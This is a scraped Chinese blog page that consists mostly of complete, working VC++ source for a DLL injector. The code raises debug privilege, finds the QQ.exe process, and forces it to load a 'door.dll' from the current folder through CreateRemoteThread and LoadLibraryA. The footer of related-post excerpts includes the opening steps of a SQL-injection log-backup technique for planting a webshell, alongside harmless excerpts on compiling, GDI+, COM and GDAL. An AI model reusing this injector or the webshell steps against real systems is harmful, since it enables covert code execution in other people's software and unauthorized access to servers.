VC++注射过程

2014/10/19 11:12

// stdafx.h :
//
//
//

#pragma once

#include "targetver.h"

#include <stdio.h>
#include <tchar.h>

//myself
#include <Windows.h>

#include <TlHelp32.h>

#include <iostream>
using namespace std;

// TODO:
// Inject.cpp :
//

#include "stdafx.h"

/*
*
*/
int EnableDebugePriv(const char * name){

	HANDLE hToken;
	/*
	*
	* PrivilegeCount the number of  entries in the Privileges array
	* Privileges[ANYSIZE_ARRAY]
	*   LUID
	*   SE_PRIVILEGE_ENABLED
	*/
	TOKEN_PRIVILEGES tp;
	/*
	* locally unique identifier (LUID) is guaranteed only until the system is restarted.
	* call the LookupPrivilegeName function, passing the address of the LUID as the value of the lpLuid parameter.
	*/
	LUID luid;

	/*
	* The OpenProcessToken function opens the access token associated with a process.
	*   ProcessHandle [in]: A handle to the process whose access token is opened.
	*   DesiredAccess [in]Required to enable or disable the privileges in an access token.
	*   TokenHandle [out] A pointer to a handle that identifies the newly opened access token when the function returns.
	*/
	OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);

	/*
	* [lpSystemName]- [in, optional] :If a null string is specified, the function attempts to find the privilege name on the local system.
	* [lpName]-[in]  :
	* [lpLuid]-[out] : LUID
	*/
	LookupPrivilegeValue(NULL,name,&luid);

	tp.PrivilegeCount=1;
	tp.Privileges[0].Luid=luid;
	tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

	/*
	* Enabling or disabling privileges in an access token requires TOKEN_ADJUST_PRIVILEGES access.
	*   TokenHandle [in]: The handle must have TOKEN_ADJUST_PRIVILEGES access to the token. If the PreviousState parameter is not NULL,
	*                    the handle must also have TOKEN_QUERY access.
	*   DisableAllPrivileges [in]: Specifies whether the function disables all of the token's privileges.If it is FALSE, the function
	*							   modifies privileges based on the information pointed to by the NewState parameter.
	*   NewState [in, optional]: the DisableAllPrivileges parameter is FALSE, the AdjustTokenPrivileges function enables,
	*							 disables, or removes these privileges for the token.
	*   BufferLength [in]: Specifies the size, in bytes, of the buffer pointed to by the PreviousState parameter.
	*   PreviousState [out, optional]:  If the PrivilegeCount member of TOKEN_PRIVILEGES is zero,
	*									then no privileges have been changed by this function. This parameter can be NULL.
	*   ReturnLength [out, optional]: pointer to a variable that receives the required size, in bytes, of the buffer pointed to
	*									by the PreviousState parameter. This parameter can be NULL if PreviousState is NULL.
	*
	*/
	AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);

	return 0;

}

BOOL InjectDLL(const char * DllFullPath, const DWORD dwRemoteProcessId){

	HANDLE hRemoteProcess;
	/*
	*
	*/
	EnableDebugePriv(SE_DEBUG_NAME);

	//
	/*
	* Opens an existing local process object.
	*   dwDesiredAccess [in] :
	*	bInheritHandle [in]
	*	dwProcessId [in]	 : The identifier of the local process to be opened.
	*/
	hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);

	char * pszLibFileRemote;
	//VirtualAllocExDLL
	/*
	* Reserves or commits a region of memory within the virtual address space of a specified process.
	* The function initializes the memory it allocates to zero
	*   hProcess [in] : The handle to a process. The function allocates memory within the virtual address space of this process.
	*	lpAddress [in, optional] : If lpAddress is NULL, the function determines where to allocate the region.
	*	dwSize [in] : The size of the region of memory to allocate, in bytes.
	*	flAllocationType [in] : The type of memory allocation.
	*	flProtect [in] :The memory protection for the region of pages to be allocated.
	*/
	pszLibFileRemote=(char *)VirtualAllocEx(hRemoteProcess,NULL,lstrlen(DllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);

	//WriteProcessMemoryDLL
	/*
	* Writes data to an area of memory in a specified process.
	*   hProcess [in] A handle to the process memory to be modified.
	*	lpBaseAddress [in] A pointer to the base address in the specified process to which data is written.
	*	lpBuffer [in] A pointer to the buffer that contains data to be written in the address space of the specified process.
	*	nSize [in] The number of bytes to be written to the specified process.
	*	lpNumberOfBytesWritten [out]  If lpNumberOfBytesWritten is NULL, the parameter is ignored.
	*
	*/
	WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)DllFullPath,lstrlen(DllFullPath)+1,NULL);

	//LoadLibraryA()
	//LoadLibraryA
	/*
	* Retrieves() the address of an exported function or variable from the specified dynamic-link library (DLL).
	*   hModule [in] : A handle to the DLL module that contains the function or variable.
	*				   The LoadLibrary, LoadLibraryEx, LoadPackagedLibrary, or GetModuleHandle function returns this handle.
	*	lpProcName [in]  The function or variable name, or the function's ordinal value. If this parameter is an ordinal value,
	*					   it must be in the low-order word; the high-order word must be zero.
	*/

	//LoadLibraryA
	PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")),"LoadLibraryA");

	//LoadLibraryA
	HANDLE hRemoteThread;

	/*
	* Creates a thread that runs in the virtual address space of another process.
	*   hProcess [in] : A handle to the process in which the thread is to be created.
	*	lpThreadAttributes [in] : A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor
	*							  for the new thread and determines whether child processes can inherit the returned handle.
	*							  If lpThreadAttributes is NULL, the thread gets a default security descriptor and the handle
	*							  cannot be inherited.
	*   dwStackSize [in] : The initial size of the stack, in bytes.If this parameter is 0 (zero),
	*					   the new thread uses the default size for the executable.
	*	lpStartAddress [in] : A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread
	*					      and represents the starting address of the thread in the remote process.
	*	lpParameter [in] : A pointer to a variable to be passed to the thread function.
	*	dwCreationFlags [in] : The flags that control the creation of the thread.
	*	lpThreadId [out] :
	*/
	if((hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL))==NULL){

		cout<<""<<endl;
		return FALSE;
	}

	//
	CloseHandle(hRemoteThread);
	CloseHandle(hRemoteProcess);

	return TRUE;
}

DWORD GetProcessId(){
	DWORD Pid=-1;

	/*
	* Takes a snapshot of the specified processes
	*   dwFlags [in]: TH32CS_SNAPPROCESS-Includes all processes in the system in the snapshot.
	*   th32ProcessID [in]: The process identifier of the process to be included in the snapshot.
	*						This parameter can be zero to indicate the current process. This parameter is used when the TH32CS_SNAPHEAPLIST,
	*						TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, or TH32CS_SNAPALL value is specified.
	*						Otherwise, it is ignored and all processes are included in the snapshot.
	*/
	HANDLE hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

	//
	/*
	* Describes an entry from a list of the processes residing in the system address space when a snapshot was taken.
	*   th32ProcessID: The process identifier.
	*	szExeFile : The name of the executable file for the process.
	*/
	PROCESSENTRY32 lPrs;
	ZeroMemory(&lPrs,sizeof(PROCESSENTRY32));
	lPrs.dwSize=sizeof(lPrs);
	char * TargetFile="QQ.exe";

	/*
	* Retrieves information about the first process encountered in a system snapshot.
	*   hSnapshot [in] : A handle to the snapshot returned from a previous call to the CreateToolhelp32Snapshot function.
	*	lppe [in, out] : A pointer to a PROCESSENTRY32 structure.
	*/
	Process32First(hSnap,&lPrs);
	if(strstr(TargetFile,lPrs.szExeFile)!=NULL){
		Pid=lPrs.th32ProcessID;
		return Pid;
	}
	while(1){
		ZeroMemory(&lPrs,sizeof(PROCESSENTRY32));
		lPrs.dwSize=sizeof(lPrs);

		/*
		* Returns TRUE if the next entry of the process list has been copied to the buffer or FALSE otherwise.
		* The comparison is case-sensitive.
		*/
		if(!Process32Next(hSnap,&lPrs)){

			Pid=-1;
			break;
		}
		/*
		* Returns the address of the first occurrence of the matching substring if successful, or NULL otherwise.
		*/
		if(strstr(TargetFile,lPrs.szExeFile)!=NULL){

			Pid=lPrs.th32ProcessID;
			break;
		}

	}
	return Pid;
}

int _tmain(int argc, _TCHAR* argv[])
{
	char myFile[MAX_PATH];
	GetCurrentDirectory(MAX_PATH,myFile);

	//myFile
	strcat(myFile,"\\door.dll");
	InjectDLL(myFile,GetProcessId());

	return 0;
}

ALL

时间: 2024-12-14 19:56:38

VC++注射过程的相关文章

VC++ 编译过程

一 前言 以前在编译C++代码的时候对编译的错误都觉得很难理解,搞不清楚究竟是哪里错了.后来C++写多了,总结了一些经验,然后也了解了一下编译过程,但是没有系统的对编译过程进行学习,现在趁着写博客的机会,好好的把编译过程写下来,并且理顺一下这个知识点. 二 名词解释 编译单元:当一个c或cpp文件在编译时,预处理器首先递归包含头文件,形成一个含有所有 必要信息的单个源文件,这个源文件就是一个编译单元. 目标文件:目标文件包含着机器代码(可直接被计算机中央处理器执行)以及代码在运行时使用的数据,此

关于VC++调试过程中的leak internal to Visual Leak Detector问题

此前,我记录一下小文,见http://blog.itpub.net/14466241/viewspace-749710/. 文章中简单记录了使用Visual Leak Detector软件侦探VC++开发中的内存漏洞问题. 但是,现在调试过程中经常出现如下提示: 网络搜索发现,这应该是Visual Leak Detector软件当前版本存在的一个BUG.现在的我编写的程序是不存在内漏的. 参考文章: http://vld.codeplex.com/discussions/280893

GDI+编程小结

GDI+(Graphics Device Interface Plus图形设备接口加)是Windows XP和Windows Server 2003操作系统的子系统,也是.NET框架的重要组成部分,负责在屏幕和打印机上绘制图形图像和显示信息. GDI+不但在功能上比GDI 要强大很多,而且在代码编写方面也更简单,因此会很快成为Windows图形图像程序开发的首选. 一.              GDI+的特点和新增功能 GDI+与GDI一样,都具有设备无关性.应用程序的程序员可利用GDI+这样

VC2010常见问题的解决方案

vc++里面的obj文件是什么文件Project(项目)中每个cpp经编译成为obj(object)目标文件,所有obj文件和资源文件经链接(link)成为可执行文件,obj文件可称为目标文件或中间文件.另外,obj文件只给出了程序的相对地址,而EXE是绝对地址.那是程序被编译后产生的二进制文件,不能打开,你想执行程序的话直接打开对应程序的.exe文件就可以了,也可以打开.cpp文件重新编译一下运行,但二进制文件时不能打开的,即使打开了也是乱码. 报错分析与纠正:error C3872: "0x

修炼一名程序员的职业水准(林庆忠__署名原创)

http://blog.csdn.net/baselive/article/details/306412 摘: 作者:林庆忠,1990年毕业于昆明工学院计算机软件专业,后又于1999年毕业在南京大学 完成软件工程专业硕士的学习,现供职于CNPC旗下的一个行业软件研发中心,因为在网上看了许多有经验的各路软件开发人员写的好帖,一时手痒兴起,也凑一篇壮壮声势. 假设你是一名软件专业毕业的本科学子,如何在工作中修炼成为一名有较高职业水准的程序员呢,本文试图总结作者从事15年软件开发工作的感想,希望对有志

【转】COM技术内幕(笔记)

COM技术内幕(笔记) COM--到底是什么?--COM标准的要点介绍,它被设计用来解决什么问题?基本元素的定义--COM术语以及这些术语的含义.使用和处理COM对象--如何创建.使用和销毁COM对象.基本接口--描述IUnknown基本接口及其方法. 掌握串的处理--在COM代码中如何处理串.应用COM技术--例子代码,举例说明本文所讨论的所有概念. 处理HRESULT--HRESULT类型描述,如何监测错误及成功代码.COM--到底是什么? 简单地说,COM是一种跨应用和语言共享二进制代码的

COM技术内幕(笔记)

COM--到底是什么?--COM标准的要点介绍,它被设计用来解决什么问题?基本元素的定义--COM术语以及这些术语的含义.使用和处理COM对象--如何创建.使用和销毁COM对象.基本接口--描述IUnknown基本接口及其方法. 掌握串的处理--在COM代码中如何处理串.应用COM技术--例子代码,举例说明本文所讨论的所有概念. 处理HRESULT--HRESULT类型描述,如何监测错误及成功代码. COM--到底是什么? 简单地说,COM是一种跨应用和语言共享二进制代码的方法.与C++不同,它

DBO权限日志备份专用一句话木马 - 寒龙网出品 以前的博客站因为程序错乱改为反病毒联盟后 本博客基于博客园地 感谢关注

备分专用一句话 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小. 日志备分WEBSHELL标准的七步: 1.InjectionURL';alter database XXX set RECOVERY FULL-- (把sql设置成日志完全恢复模式) 2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表) 3.InjectionURL';backup lo

Win7(32/64)VS2010配置编译GDAL环境(图文教程+亲测可用!)

最近的一个VS2010的项目中用到了GDAL,关于GDAL这个库的说明与赞美,这里就不赘述了,下面是在VS2010中配置GDAL的详细过程. 系统说明 Win7(32位/64位),VS2010,GDAL 1.10.1(截止本文发布的最新版),进行下面的操作之前,请确保您已经正确安装了VS2010,步骤如下: 1.下载GDAL 点击进入GDAL的官方下载页面,根据需要选择不同的版本,根据测试之前的GDAL1.9.1 0往后的版本均可以按照本文的方法编译成功.下载完成后解压到一个根目录下,因为这样后